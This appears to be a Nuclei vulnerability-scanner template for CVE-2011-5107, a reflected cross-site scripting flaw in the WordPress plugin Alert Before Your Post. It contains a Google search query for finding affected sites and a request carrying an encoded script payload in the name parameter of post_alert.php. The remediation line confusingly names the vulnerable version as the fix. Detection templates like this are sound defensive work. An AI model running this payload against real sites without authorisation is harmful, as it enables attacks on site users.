id: CVE-2011-5107 info: name: Alert Before Your Post <= 0.1.1 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in post_alert.php in Alert Before Your Post plugin, possibly 0.1.1 and earlier, for WordPress allows remote attackers to inject arbitrary web script or HTML via the name parameter. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. remediation: | Update to the latest version of the Alert Before Your Post plugin (0.1.1) or remove the plugin if it is not necessary for the website's functionality. reference: - https://nvd.nist.gov/vuln/detail/CVE-2011-5107 https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-alert-before-your-post-cross-site-scripting-0-1-1/ - https://exchange.xforce.ibmcloud.com/vulnerabilities/71413 - https://github.com/ARPSyndicate/kenzer-templates - https://github.com/d4n-sec/d4n-sec.github.io classification: cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N cvss-score: 4.3 cve-id: CVE-2011-5107 cwe-id: CWE-79 epss-score: 0.00232 epss-percentile: 0.6058 cpe: cpe:2.3:a:wordpress:alert_before_you_post:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: wordpress product: alert_before_you_post google-query: inurl:"/wp-content/plugins/alert-before-your-post" tags: cve,cve2011,wordpress,xss,wp-plugin flow: http(1) && http(2) http: - method: GET path: - '{{BaseURL}}' matchers: - type: word internal: true words: - '/wp-content/plugins/alert-before-your-post/' - method: GET path: - '{{BaseURL}}/wp-content/plugins/alert-before-your-post/trunk/post_alert.php?name=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' matchers-condition: and matchers: - type: word part: body words: - "" - type: word part: header words: - text/html - type: status status: - 200 # digest: 4a0a00473045022100900756dfcc6df6c56c912725d923b0e4907624843873d7fbba36f386e808dab00220782a401d28335add23c3b2a288a4f7a0baaae8d70301ef86c098d36b36d5bc56:922c64590222798bb761d5b6d8e72950